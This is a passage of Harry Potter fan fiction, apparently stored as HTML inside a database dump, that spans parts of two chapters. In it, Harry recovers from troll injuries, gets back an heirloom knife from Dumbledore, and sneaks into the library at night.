is\nintended to do. The darker blue it is, the more active the detected potions\nare. Your bandages should have been a light blue since the potions would almost\nbe finished their work by now. The fact that nothing happened most likely means\nthat the potions are inactive since very little can go wrong with such a simple\ncharm.&#8217; At this point she frowned and looked at Harry quizzically. &#8216; I don&#8217;t\nknow what yellow stuff you mean though.&#8217;</p>\n\n<p class="MsoNormal">Harry realized that the yellow had only\nbeen the charm in the bandages being activated and that although he could see\nit reacting Madam Pomfrey probably didn&#8217;t have the same ability. He just about\nstarted to explain this to Madam Pomfrey, but thought better of it, figuring\nthat the less that people knew about him, the less he&#8217;d be treated differently.</p>\n\n<p class="MsoNormal">&#8216; Oh, sorry.&#8217; He said, pretending to be a\nlittle embarrassed. &#8216; It must have just been the sun reflecting off the buttons\non your robes.&#8217;</p>\n\n<p class="MsoNormal">Madam Pomfrey smiled kindly and set about\nremoving Harry&#8217;s bandages, while joking with Harry that maybe he hit his head\nharder than she had thought.</p>\n\n<p class="MsoNormal">&#8216; So I guess I&#8217;ll head back to my dorm\nnow?&#8217; Harry said as Madam Pomfrey finished with his bandages.</p>\n\n<p class="MsoNormal">Madam Pomfrey raised an eyebrow at this.</p>\n\n<p class="MsoNormal">&#8216; I don&#8217;t think so, mister.&#8217; She with a\nsmile, but with a warning tone in her voice. &#8216; The potions may not be active,\nbut they&#8217;re still in you. They need to be flushed out and I&#8217;ll need to make\nsure that your ribs are in fact healed.&#8217;</p>\n\n<p class="MsoNormal">Harry paused for a moment, weighing his\nchances of convincing her to let him go. One look at her face and he dropped\nthat line of thought.</p>\n\n<p class="MsoNormal">&lt; Well, she is definitely not someone I\nwant mad at me.&gt; Harry thought. &lt; Especially since I&#8217;ll likely need her\ngoodwill at some point in the Quidditch season.&gt;</p>\n\n<p class="MsoNormal">Hoping to quickly change the subject and\nget that- dangerous- look off her face Harry asked about the potions.</p>\n\n<p class="MsoNormal">&#8216; Why do the potions need to be &#8220;flushed&#8221;?\nWouldn&#8217;t it be good to already have them in me in case I broke another bone\nlater on?&#8217; He asked assuming, correctly, that any professional would enjoy\nexplaining the details of their trade.</p>\n\n<p class="MsoNormal">Pomfrey beamed at his question.</p>\n\n<p class="MsoNormal">&#8216; I can see why the professors enjoy having\nyou for a student. You&#8217;re always thinking ahead, aren&#8217;t you?&#8217; she nodded in\nsatisfaction, dropping her serious look. &#8216; I can see how you might assume that,\nbut as you&#8217;ll learn in potions in a few years, potions can be activated to do\ntheir work without any actual need for them. For example, in this case if you\nwere to later bruise your bone, the potions that are in you now would start\ntrying to get your bones to knit together since that is what they are designed\nto do. When they were administered last night they acted on your broken ribs,\npulling the pieces together and speeding up their growth, as well as many other\nthings you&#8217;ll only learn about if you pursue a career in healing.&#8217; She frowned\nagain, cocking her head to the side, thinking hard. &#8216; I must have overestimated\nthe extent of the damage to your ribs since they healed so fast, but anywho,\nthe damaged bone would cause some of the potions to activate again. It could\nresult in uncontrolled cellular growth in your bones (Harry was mildly\nsurprised to learn that wizards knew about muggle science, such as cell\ntheory), or it could cause your joints to start fusing together depending on\nwhat potions happened to become active- &#8216;</p>\n\n<p class="MsoNormal"><b><i>Ring!</i></b></p>\n\n<p class="MsoNormal">Madam Pomfrey looked surprised at the chime\nand rushed into her office, excusing herself to Harry.</p>\n\n<p class="MsoNormal">Harry had listened earnestly to the long\nexplanation. He had found it fascinating to see that magic, when you took into\naccount the fact that effect did not always follow from a physical cause,\nactually worked quite logically. As interesting as it was though, Harry didn&#8217;t\nthink he wanted to pursue a career in healing, but his questions had definitely\nearned him Madam Pomfrey&#8217;s friendship.</p>\n\n<p class="MsoNormal">&lt; Maybe, if I butter her up enough, I&#8217;ll\nbe out of here before the weekend&#8217;s completely over.&gt; thought Harry with a\nsigh as Pomfrey came back into the room from her office carrying a small goblet\nof some silvery looking potion.</p>\n\n<p class="MsoNormal">&#8216; That was Professor McGonagall in the fire\n(AN- Think Sirius talking to Harry about the first task in Book #4), she\nstopped by the Gryffindor common room earlier this morning and spoke to Ron\nWeasley about coming to visit you around noon when you were supposed to be\nwaking up.&#8217; Pomfrey announced with a slight smirk. &#8216; She&#8217;s going to head back\nthere now to let your friends know that you&#8217;re already up, so drink up and you\nshould be ready to leave by the time they get here.&#8217;</p>\n\n<p class="MsoNormal">Harry took the goblet when it was offered\nand looked at it curiously.</p>\n\n<p class="MsoNormal">&#8216; That&#8217;s to pull the leftover potions from\nyour body.&#8217; Pomfrey answered Harry&#8217;s question before he could ask.</p>\n\n<p class="MsoNormal">&#8216; Cheers.&#8217; Harry said as he raised the cup\nto his lips and tossed it back in one go.</p>\n\n<p class="MsoNormal">The taste was surprisingly pleasant though.\nHarry had expected it to taste like metal, given its silvery look, but it\ntasted more like lemonade than anything else.</p>\n\n<p class="MsoNormal">He handed the goblet back to Madam Pomfrey\nwho was looking at him rather expectantly. Just before Harry was about to ask\njust why she was looking at him like that, he felt it. It started as a rumbling\nin his stomach and as the growling of his stomach got louder Harry could feel\npressure building up.</p>\n\n<p class="MsoNormal">The door burst open and a breathless Ron\nand Hermione rushed in just as Harry&#8217;s stomach suddenly went quiet. Then, just\nas Ron and Hermione opened their mouths to speak, the pressure that had built\nup in Harry&#8217;s stomach was released.</p>\n\n<p class="MsoNormal">&#8216; <b>BUUUURRRRRRRRPPPP</b>!&#8217; was Harry&#8217;s\nresponse to his friends&#8217; arrival, as the potions that had been left in his body\nwere&#8230; expelled, thanks to the silvery potion.</p>\n\n<p class="MsoNormal">There was a moment of absolute silence as\nHarry&#8217;s face turned a very light pink and Ron and Hermione&#8217;s mouths hung wide\nopen. A moment was all it lasted though before Ron broke into gales of cackling\nlaughter, which knocked him to the floor clutching at his stomach.</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes went wide and her face\nturned quite red as she started to look mildly disgusted.</p>\n\n<p class="MsoNormal">Looking miffed at Ron&#8217;s roaring laughter\nPomfrey scolded him &#8216; Mr. Weasley, control yourself! The leftover potions in\nHarry&#8217;s body were simply forced out by a purifying draught. It is hardly\nsomething worth losing your self control over and I highly doubt that Harry\nappreciates your reaction to something he had no control over- &#8217;</p>\n\n<p class="MsoNormal">She might have continued to berate Ron, but\nit was apparent that lowering the volume of his laughter was all Ron was able\nto manage at the moment so Pomfrey went back into her office with a sniff.</p>\n\n<p class="MsoNormal">After watching Madam Pomfrey go back to her\noffice, Hermione shook her head at Ron and walked over to sit on the bed next\nto Harry&#8217;s.</p>\n\n<p class="MsoNormal">Ron, when he was once more in control of\nhis body, crawled over to lean on the bed next to where Hermione was sitting, a\ngrin still plastered on his face.</p>\n\n<p class="MsoNormal">&#8216; I take it your ribs are feeling better\nthen, Harry?&#8217; Ron asked and shook with more repressed laughter.</p>\n\n<p class="MsoNormal">&#8216; Ron!&#8217; scolded Hermione.</p>\n\n<p class="MsoNormal">&#8216; Yeah, my ribs are alright now.&#8217; Harry\ninterrupted, smirking, before Ron and Hermione could get into another row. His\nsmirk was not long lived though, and his ace resumed its usual blank mask. &#8216; As\ngood as it is to see both of you right now; I&#8217;d like to know what I missed. If\nyou don&#8217;t mind?&#8217;</p>\n\n<p class="MsoNormal">Ron&#8217;s shoulders stopped shaking and his\nface turned sober. Hermione too dropped the stern look she had been giving Ron\nand faced Harry.</p>\n\n<p class="MsoNormal">&#8216; Well then,&#8217; Ron started &#8216; what can you\nremember?&#8217;</p>\n\n<p class="MsoNormal">&#8216; The last thing I remember clearly is\nhaving a small tree slammed into me.&#8217;</p>\n\n<p class="MsoNormal">Taking a deep breath Ron began to tell\nHarry about what happened after Harry had hit the wall. Harry&#8217;s memory of Ron\nand Hermione helping him to get up and walk was fuzzy at best, but there wasn&#8217;t\nmuch to be told about how he got to the hospital wing.</p>\n\n<p class="MsoNormal">&#8216; So what did they do with the body?&#8217; Harry\nasked with a sigh upon hearing that Flitwick and a Professor Sinastra had been\nsent to check on the troll. His face showed no emotion, but without his glasses\ncovering them Harry&#8217;s eyes revealed his sorrow over the troll&#8217;s death.</p>\n\n<p class="MsoNormal">&#8216; I don&#8217;t know.&#8217; Hermione answered slowly.\n&#8216; Professor Dumbledore only told us about what they found when they examined\nit. How did you know it was dead though?&#8217;</p>\n\n<p class="MsoNormal">Harry opened his mouth then closed it and\nlooked away from Hermione&#8217;s eyes.</p>\n\n<p class="MsoNormal">&lt; Great.&gt; he thought. &lt; How do I\nexplain this?&gt;</p>\n\n<p class="MsoNormal">Ron saved him from having to explain\nanything though.</p>\n\n<p class="MsoNormal">&#8216; So it is yours then.&#8217; Ron said, looking\nat Harry oddly.</p>\n\n<p class="MsoNormal">Harry looked up again at his two friends\nand wished he had more experience with people so that he might know what to say\nor do now, when he actually cared what someone thought of him.</p>\n\n<p class="MsoNormal">None of the three knew what to say and all\nlooked away from each other, waiting for one of the other two to beak the\nsilence. Nothing was said for almost a full minute and it might have gone on\nlonger had the door to the room not opened to admit a smiling Professor\nDumbledore followed by a dour looking Professor McGonagall.</p>\n\n<p class="MsoNormal">&#8216; Ah, Harry! Good to see you&#8217;ve recovered\nso quickly!&#8217; Dumbledore said as he conjured a chair and sat down on it at the\nside of Harry&#8217;s bed opposite to Ron and Hermione.</p>\n\n<p class="MsoNormal">Both McGonagall and Hermione seemed shocked\nat Dumbledore&#8217;s casual manner, but neither was about to say anything about it.</p>\n\n<p class="MsoNormal">Glad for the distraction at first, Harry\nquickly noted that both Ron and Hermione became tenser and were obviously\nworried about something that Harry was currently ignorant of.</p>\n\n<p class="MsoNormal">&#8216; I&#8217;m just glad I&#8217;m alive at all,\nProfessor.&#8217; Harry answered carefully, feeling naked without his glasses to hide\nhis eyes from Dumbledore&#8217;s sparkling stare. On top of that, Harry was beginning\nto feel rather self-conscious about facing four fully clothed people while\nwearing just his bedclothes.</p>\n\n<p class="MsoNormal">&#8216; As much as I appreciate your concern, I\nassume that you aren&#8217;t just here to congratulate me on being healed?&#8217; Harry\nasked.</p>\n\n<p class="MsoNormal">&lt; Man, I hope this doesn&#8217;t take\nlong!&gt; thought Harry, fighting to keep from blushing at his predicament.</p>\n\n<p class="MsoNormal">Dumbledore&#8217;s smile faded slightly at\nHarry&#8217;s words as he reached into a pocket on his robes, which Harry could&#8217;ve\nsworn wasn&#8217;t there a moment before, and pulled out something wrapped in white\ncloth.</p>\n\n<p class="MsoNormal">&#8216; Indeed there is another reason for my\nvisit, Harry. A rather serious one to.&#8217;</p>\n\n<p class="MsoNormal">&lt; Ah, crap.&gt; Harry thought seeing the\nchange in Dumbledore&#8217;s expression. &lt; This isn&#8217;t going to be quick.&gt;</p>\n\n<p class="MsoNormal">Dumbledore seemed to sense Harry&#8217;s growing\ndiscomfort and with a wave of his wand Harry&#8217;s bedclothes were changed to\nregular school robes. Another wave and Harry found himself sitting, not in a\nbed, but in a replica of the chair Dumbledore had conjured.</p>\n\n<p class="MsoNormal">Harry smiled slightly and nodded his\nthanks.</p>\n\n<p class="MsoNormal">&#8216; First off, Harry, I must ask you,&#8217;\nDumbledore said gravely; unwrapping the cloth to show Harry what he&#8217;d known\nwould be there. &#8216; Does this belong to you?&#8217;</p>\n\n<p class="MsoNormal">Harry&#8217;s right hand twitched upon seeing the\nknife, and Harry had to stop himself from reaching out to take it back.</p>\n\n<p class="MsoNormal">&#8216; Yes,&#8217; he answered, &#8216; it does.&#8217;</p>\n\n<p class="MsoNormal">&#8216; I am I correct to assume that you had no\nidea that it is against the rules for any student to carry a non-magical weapon\nwithout the knowledge and consent of the staff?&#8217; asked Dumbledore, sounding\nmore official than casual now.</p>\n\n<p class="MsoNormal">&#8216; No, sir, I didn&#8217;t.&#8217;</p>\n\n<p class="MsoNormal">&#8216; Under normal circumstances you would\npossibly face expulsion, but obviously these are not normal circumstances.&#8217;\nContinued Dumbledore. &#8216; Despite the fact that you didn&#8217;t know that you were\nbreaking any rules by having this knife, you still did break the rule.&#8217;</p>\n\n<p class="MsoNormal">Now Professor McGonagall spoke up for the\nfirst time since she had entered the room.</p>\n\n<p class="MsoNormal">&#8216; There is still the matter of your conduct\nand Mr. Weasley&#8217;s last evening.&#8217; She pronounced. &#8216; You knew that you were to go\nto your house common room to continue the feast and yet you both went off on\nyour own. Now I understand that you acted on behalf of you concern for Ms.\nGranger&#8217;s well being, for which I commend you, but if you had thought it\nthrough you would have seen that it would have been better for everyone if you\nhad just told a member of the staff and let them handle it. So, Harry, since\nyou broke two rules, you will have two nights of detention with Mr. Filch and\nRon, you will accompany him for one night.&#8217;</p>\n\n<p class="MsoNormal">&#8216; Well then,&#8217; said Dumbledore, clapping his\nhands and standing up. &#8216; Now that that&#8217;s out of the way I would like to have a\nword with Harry in private.&#8217; And he ushered everyone out of the room,\nincluding, much to her indignity, Madam Pomfrey.</p>\n\n<p class="MsoNormal">Dumbledore was smiling as he turned back to\nHarry.</p>\n\n<p class="MsoNormal">&#8216; Now, Harry, would you mind telling me\njust where you got this knife?&#8217; he asked.</p>\n\n<p class="MsoNormal">&#8216; May I have it back please?&#8217; Harry asked,\nbypassing the professor&#8217;s question.</p>\n\n<p class="MsoNormal">&#8216; You certainly may- eventually; when you\nmay have it back and whether or not you are allowed to continue to carry it\nwith you; however, depends on many things, including your answer to my\nquestion.&#8217; Dumbledore said, his smile not fading at all despite the bluntness\nof Harry&#8217;s question.</p>\n\n<p class="MsoNormal">Still feeling rather naked without his\nglasses to cover his eyes, Harry tried to look away from his headmaster&#8217;s eyes,\nbut he found he couldn&#8217;t. Dumbledore&#8217;s stare seemed to mesmerize him and Harry\nfound himself about to start telling Dumbledore all about how he had gotten the\nknife, but he quickly stopped himself and finally was able to look away from\nthe piercing gaze.</p>\n\n<p class="MsoNormal">Harry just wanted to have his knife back.\nAside from the free lessons that Mr. Osakawa had given him at the dojo, the\nknife had been the only thing that Harry had ever been given that could be\nconsidered as any kind of a gift. Aside from that it was also the only thing\nthat Harry had to remind him of his sensei and since it was obviously very\nimportant to Osakawa-san that Harry should have it had enormous sentimental\nvalue to Harry.</p>\n\n<p class="MsoNormal">&lt; Well then, if I&#8217;m not going to have it\nback until I tell him where I got it in the first place I&#8217;d best tell him.&gt;\nHarry thought. &lt; Why don&#8217;t I want to tell him in the first place? Oh well.\nHere goes.&gt;</p>\n\n<p class="MsoNormal">&#8216; I got it from my sensei, Osakawa-san. He\ngave it to me because he was supposed to pass it on to his oldest son as a\nfamily tradition, but he has no sons and- &#8216; Harry stopped to compose himself,\nas he had felt that he was starting to blush. &#8216; and he said that he considers\nme his son, even if I&#8217;m not actually related to him.&#8217; Harry finished in a rush.\n&#8216; So can I have it back please?&#8217;</p>\n\n<p class="MsoNormal">Dumbledore didn&#8217;t say anything until Harry\nlooked back up into his eyes again.</p>\n\n<p class="MsoNormal">&#8216; I&#8217;m not yet sure when you may have it\nback Harry, although I assure you that it will be returned to you eventually.\nDo you know how long it has been in your- Mr. Osakawa-san&#8217;s family? Or where\nthe knife first came from?&#8217;</p>\n\n<p class="MsoNormal">Harry hid his smile at the professor&#8217;s use\nof the Japanese honorific &#8220;san&#8221; and began to tell Dumbledore what he remembered\nof the stories that Mr. Osakawa had told him about the knife. At the time\nneither Mr. Osakawa nor Harry had believed them at all.</p>\n\n<p class="MsoNormal">&#8216; Well, Mr. Osakawa- &#8216; Harry paused after\nsaying the name so that Professor Dumbledore would be able to figure out that\n&#8220;san&#8221; was not part of the name. &#8216; he told me that no one in his family had any\nidea where the knife actually came from since all that was remembered about\nit&#8217;s origins was in the form of legends and myths. Now that I think about it\nthough, the legends may be true. After all, I didn&#8217;t think there was any such\nthing as magic at the time. Anywho, according to the legends, which are\nsupposed to be passed on with the knife, the knife was made a long time ago in\nJapan. An evil wizard made it, but I think that all wizards and witches were\nsupposed to be evil in these legends. This evil wizard was supposed to be the\nmost powerful wizard that Japan had ever seen, but he was held captive in\nshackles made of some special material that couldn&#8217;t be affected by magic. The\nknife was supposedly made of the same material, but the story doesn&#8217;t say how\nmagic was used in the making of the knife, just that it was. Of course\nOsakawa-san and I couldn&#8217;t make sense of how something that couldn&#8217;t be\naffected by magic was made using magic, and I think that&#8217;s one of the other\nreasons we didn&#8217;t believe it.&#8217;</p>\n\n<p class="MsoNormal">&#8216; Hmmm.&#8217; Was Dumbledore&#8217;s comment as he\nstroked his beard in thought. &#8216; Do these &#8220;myths&#8221; say anything about why the\nknife was made?&#8217;</p>\n\n<p class="MsoNormal">Harry frowned, trying to remember what Mr.\nOsakawa had told him.</p>\n\n<p class="MsoNormal">&#8216; I think- I think it was made for some\nwonderful group of people to be used to kill all of the other wizards, since a\nperson would be able to block most spells shot at them with the knife and the\nknife could cut through any magical protections that an assassin would face.&#8217;\nSaid Harry with a small frown.</p>\n\n<p class="MsoNormal">&#8216; Hmmm. Harry, you won&#8217;t be starting to\nlearn about the magical history of other countries until fourth or fifth year,\nbut when you do you will most likely read about a group of Japanese muggles who\nbelieved it was their &#8220;duty&#8221; to eradicate all traces of magic in the world. Of\ncourse they were only one such group of many all over the world, but the\nimportant thing is that they did in fact exist, and I believe that the stories\nyou have been told about this knife may be true.&#8217; Dumbledore said, looking\ngravely at Harry. &#8216; do you understand, Harry? This knife was made, and used, by\npeople who were, for the lack of better words, evil and ignorant. Are you sure\nyou still want this knife back?&#8217;</p>\n\n<p class="MsoNormal">&#8216; Professor, it&#8217;s not entirely certain that\nthis knife is the same one that you&#8217;re talking about right?&#8217; Harry asked\nsighing.</p>\n\n<p class="MsoNormal">&#8216; No, it is not certain, but it is quite\nlikely.&#8217;</p>\n\n<p class="MsoNormal">As Harry looked up into the headmaster&#8217;s\neyes, he saw the same twinkle that always seemed to be there, as if Dumbledore\nsaw something funny that no one else could, but Harry also saw a calculating\nlook. It was as if he were weighing Harry&#8217;s reactions and measuring some\nunknown quality about Harry by doing so.</p>\n\n<p class="MsoNormal">Shaking his head Harry continued.</p>\n\n<p class="MsoNormal">&#8216; Well even if it is the same knife, it is\nstill the same knife I&#8217;ve carried with me since the day it was given to me.\nEven if the people who made it and used it were evil, the knife isn&#8217;t capable\nof being evil. It is only a tool; evil can be done with it, but then it is the\nperson wielding it who is evil, not the knife. So yes, professor, I would like\nto have my knife back.&#8217;</p>\n\n<p class="MsoNormal">Dumbledore actually let out a laugh at\nthis.</p>\n\n<p class="MsoNormal">&#8216; Very well, Harry, you may have your knife\nback, but Professor McGonagall has begged me to at least make sure that you\nwill not hurt yourself with it if I did decide to give it back to you right\naway. Do you know how to handle this knife without getting hurt and without\nletting anyone around you be hurt?&#8217; asked Dumbledore and Harry nodded in\nreturn. &#8216; Well you may have it back now, but don&#8217;t be surprised if Professor\nMcGonagall asks you to prove that you know how not to get hurt.&#8217;</p>\n\n<p class="MsoNormal">And then Dumbledore handed Harry back his\nknife, the twinkle in his eyes brighter than ever. He then waved his wand as he\nstood up and his chair disappeared even as Harry&#8217;s robes and chair turned back\nbedclothes and a bed, and he walked out of the room closing the door quietly\nbehind him.</p>\n\n<p class="MsoNormal">Harry never noticed a thing. His eyes and\nhands were focused on his knife, which hadn&#8217;t left his side since he first got\nit and was now back in his hands after a day without it.</p>\n\n<p class="MsoNormal">Examining the blade he realized that there\nwas no evidence of his fight with the troll on it. Thinking of the fight\ntriggered ugly thoughts about how Harry had killed a creature that was at least\nslightly sentient. Harry sat up straight in bed, crossing his legs and\nrelaxing, falling naturally into a sort of meditative trance as he tried to\nsort out his thoughts on having killed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It wasn&#8217;t until the afternoon that Harry\n&#8220;woke up&#8221; from his trance. During his thinking, Harry had decided that although\nhe should have found another way to save his friends, there was no point\ndwelling on a past mistake. As his sensei had always taught him, &#8220; When you\nmake a mistake, learn from it and move on. If you obsess over it you will\nunconsciously repeat it.&#8221;. So Harry decided that he wouldn&#8217;t focus on the\nmistake, but on the solution. He figured that if he&#8217;d known more about the\ntroll&#8217;s anatomy, or had known more spells, then he could have saved both his\nfriends and the troll.</p>\n\n<p class="MsoNormal">&lt; Alright, first stop- the library!&gt;\nHarry thought to himself as he got up from where he&#8217;d been sitting on the bed\nsince Professor Dumbledore left.</p>\n\n<p class="MsoNormal">As Harry left the hospital wing he heard a\ngrowl. Looking down for the source of the sound he realized it had been his\nstomach. &lt; Okay, maybe the great hall should be the first stop.&gt; he\namended his previous thought. &lt; I wonder if they&#8217;re still serving lunch?&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">@@@@@@@@@@@@@@@@@@@@@@@@@</p>\n\n<p class="MsoNormal">AN- Still not much to say&#8230; I&#8217;m going to write\na story that splits off from this one at chapter twenty. I hope you&#8217;ll read it as\nwell and tell me how much it sux&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 20, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- Here it is.</p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">@@@@@@@@@@@@@@@@@@</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Luckily the great hall was still serving\nlunch when he got there, and that day Harry ate more than he could remember\never having eaten before (although that wasn&#8217;t saying much considering his\ntreatment at the Dursleys&#8217;). Madam Pomfrey had told him to expect this as his\nbody had needed to rebuild a lot of his bones, and that took nutrients that\nwould need to be replaced, but even though he explained this to Ron and\nHermione, they were still quite amazed.</p>\n\n<p class="MsoNormal">The afternoon was spent doing most of the\nhomework that had been assigned for the weekend, much to Ron&#8217;s dismay. The only\nreason Ron agreed to do any work at all was because he was still worried about\nHarry and was trying his best not to fight with Hermione. By the time the trio\nhad finished all the work they intended to they were already late for dinner in\nthe great hall. Ron was quite amazed (and secretly pleased) at all the work\nhe&#8217;d gotten done. Normally he&#8217;d leave it till nearly the last minute, but\nhaving almost all of it done, and done well with Hermione to help, he would\nhave more time to goof off the next day.</p>\n\n<p class="MsoNormal">At dinner Harry once again ate as much as\nRon ever did, which Ron seemed to find amusing and challenged Harry to another\neating duel. Of course Ron won again and Hermione couldn&#8217;t understand how he\ncould eat so much and not be as big (at least around the waist) as Crabbe and\nGoyle combined.</p>\n\n<p class="MsoNormal">&#8216; That&#8217;s it for me.&#8217; Hermione said, as the\nthree climbed through the portrait hole when Ron had finally declared himself\nfull, with a satisfied belch to rival Harry&#8217;s earlier magically induced one. &#8216;\nI&#8217;m going to sleep.&#8217; And with that she left Ron and Harry alone in the common\nroom, heading up to her dorm room.</p>\n\n<p class="MsoNormal">Ron plopped himself down in an armchair and\npulled a short table closer to himself. There was a chess set on it looking\nlike someone had played a game then left it as it was.</p>\n\n<p class="MsoNormal">&#8216; Care for a game, Harry?&#8217; he asked,\nsetting the pieces back up.</p>\n\n<p class="MsoNormal">Harry smirked at Ron&#8217;s confidence.</p>\n\n<p class="MsoNormal">&#8216; Sure, but don&#8217;t feel too bad when it\nbecomes obvious that I&#8217;m letting you win.&#8217; He said.</p>\n\n<p class="MsoNormal">Of course he was only joking. Ron and Harry\nhad often played against each other, and although Harry often started out\ntaking piece after piece from Ron, he had yet to come even close to winning.\nRon had explained to Harry that while Harry was obviously quite good at\ntactics, he had a lot of room to improve on strategy. (AN- tactics refer to\nsmaller actions serving a larger purpose in a battle, whereas strategy refers\nto long term plans for a goal, so tactics are sort of smaller parts of a\nstrategy)</p>\n\n<p class="MsoNormal">A few games later Harry thought he was\nimproving, but he was still no challenge to Ron who had grown up playing chess\nagainst his father who was quite good at it and had eventually become even\nbetter than his father.</p>\n\n<p class="MsoNormal">&#8216; I think I&#8217;m gonna head up now. You\ncoming?&#8217; Ron asked, as he packed up the chess pieces, being careful not to let\nHarry&#8217;s pieces stick him with their miniature swords (they weren&#8217;t happy about\nlosing so many times).</p>\n\n<p class="MsoNormal">&#8216; Nah, not yet.&#8217; Harry answered. &#8216; I&#8217;m not\nreally tired right now.&#8217;</p>\n\n<p class="MsoNormal">That was putting it lightly. After all,\nHarry had been lying and sitting in a bed for the better part of 24 hours.</p>\n\n<p class="MsoNormal">&#8216; Right then, see ya tomorrow. I think Fred\nand George are planning something for the Slytherins tomorrow, maybe we can get\nin on it since we&#8217;ll have the time to spare.&#8217;</p>\n\n<p class="MsoNormal">Harry waved as Ron went up the stairs to\ntheir room.</p>\n\n<p class="MsoNormal">&lt; Now what am I going to do?&gt; Harry\nwondered. &lt; Everyone else is in bed by now and I&#8217;m not even slightly tired&#8230;.\nHmm. I suppose I could try the library. I never got a chance to after I left\nthe hospital wing, but then there&#8217;s Filch and Mrs. Norris&#8230; and Peeves.&gt;</p>\n\n<p class="MsoNormal">In the end though, Harry&#8217;s restlessness got\nthe better of him and he pushed the portrait hole open slowly and silently. He\nchecked to make sure that the Fat Lady was there (she was, but was asleep)\nbefore climbing out and letting the portrait slip shut again. He&#8217;d have to wake\nher when he got back, assuming he was able to avoid detection and detention on\nhis way to the library and back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He made it to the library with no troubles,\nbut paused at the locked door remembering the last time he&#8217;d sneaked in after\ncurfew. He&#8217;d used an unlocking charm he&#8217;d read about during the summer, but\nwhen he opened the door it had squeaked rather loudly.</p>\n\n<p class="MsoNormal">&lt; Crap!&gt; Harry swore. &lt; I said\nsomething on instinct that worked&#8230; I wished I&#8217;d remembered to look it up. I\nwonder though&#8230;&gt; he thought back to his transfiguration lessons. &lt; No way\ncould it be so easy- but it&#8217;s worth a try I guess.&gt;</p>\n\n<p class="MsoNormal">He pulled out his wand and whispered &#8220;\nAlohomora.&#8221; Then held the door closed to keep it from swinging open when he\nheard it click.</p>\n\n<p class="MsoNormal">Then, concentrating on the proper images,\nhe said one of the basic transfigurations he&#8217;d learned during the summer. It\nwasn&#8217;t anything fancy, and most of the class had already mastered it by the end\nof the first week.</p>\n\n<p class="MsoNormal">&nbsp;&#8220;\nLocalis minimus.&#8221;</p>\n\n<p class="MsoNormal">It was one of the first things to be taught\nin transfiguration, and it was used to shrink whatever object it was cast on.</p>\n\n<p class="MsoNormal">Much to Harry&#8217;s surprise, it worked and the\ndoor shrunk down to about a quarter of it&#8217;s original size, falling off it&#8217;s\nhinges and forcing Harry to catch it to avoid a rather loud clatter.</p>\n\n<p class="MsoNormal">Frowning Harry stepped through the doorway\nand leaned the door against the doorframe.</p>\n\n<p class="MsoNormal">&lt; Huh. I&#8217;d have thought Madam Pince\nwould have something protecting it from this kind of &#8220;vandalism&#8221;. Oh well, no\npoint in complaining.&gt;</p>\n\n<p class="MsoNormal">Harry used a levitating spell to hold the\ndoor back in the middle of the doorway and enlarged it. Unfortunately the\nhinges weren&#8217;t aligned properly and the door was stuck in place. Nothing about\nit looked unusual unless you were looking for it, but it wouldn&#8217;t open if you\ntried it.</p>\n\n<p class="MsoNormal">&lt; I guess I can leave it for now. I&#8217;ll\nhave to fix it on my way out.&gt; Harry thought and turned around to find\nhimself face to face with Lady Scrive.</p>\n\n<p class="MsoNormal">Most other students would likely have\nscreamed before they realized who it was, but most other students hadn&#8217;t grown\nup with Dudley who seemed to pester and hurt Harry more the more Harry showed a\nreaction to it. As it was though Harry gasped quickly and his eyebrows jumped\nup, but it was only for a second.</p>\n\n<p class="MsoNormal">Lady Scrive gave a chuckle to have gotten\neven this much of a reaction out of Harry, who was her second favourite student\n(her favourite was Hermione of course).</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nYou&#8217;re not as jumpy as you were the last time you came here at this time of\nnight, Harry. I would have thought you&#8217;d be more jumpy after what you went\nthrough last night?&#8217; she said, watching Harry quickly calm down.</p>\n\n<p class="MsoNormal">Harry frowned at being reminded of what had\noccurred.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nActually, that&#8217;s sort of why I&#8217;m here.&#8217; Harry replied. &#8216; I killed that troll.\nI&#8217;ve never killed anything on purpose before, and on top of that trolls are at\nleast a little self-aware. It probably didn&#8217;t want to be there any more than we\nwanted it to be and I killed it because I couldn&#8217;t find any other way to save\nmyself and my friends.&#8217;</p>\n\n<p class="MsoNormal">It was times when he felt like this that\nHarry wished most that he could cry- but he hadn&#8217;t cried in years and it was as\nif he had forgotten how to. Oh his eyes still watered like anyone else&#8217;s when\nhe got hit on the nose or something, but no one with a normal nervous system\ncould stop that.</p>\n\n<p class="MsoNormal">Lady Scrive was quiet for a moment, waiting\nuntil Harry looked back up to her face without a trace of the anguish in his\nvoice showing on his face.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nHarry, you did the best you could to save as many lives as was possible. There\nis no reason for you to feel as though you&#8217;ve done something wrong.&#8217; She said,\ntrying to console him.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nI&#8217;m afraid I disagree.&#8217; He returned with a shake of his head. &#8216; I did do the\nbest I could, but I think there is always a way to save everyone. It&#8217;s just a\nmatter of finding a way (AN- &#8220;Trigun&#8221; is another awesome anime). Anywho, I know\nthere&#8217;s no point in obsessing over a mistake that is already done with. If I\nhad of known more about trolls though, or known more magic I might have been\nable to see the way to save my friends and the troll.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216; I\ndo not agree with you about there always being a way to save everyone of\ncourse, but as long as you don&#8217;t let it weigh on you I don&#8217;t see any reason to\ncontinue arguing about it.&#8217; The Lady said, beginning to sound more business\nlike. &#8216; I assume you want to try and learn more to keep the same 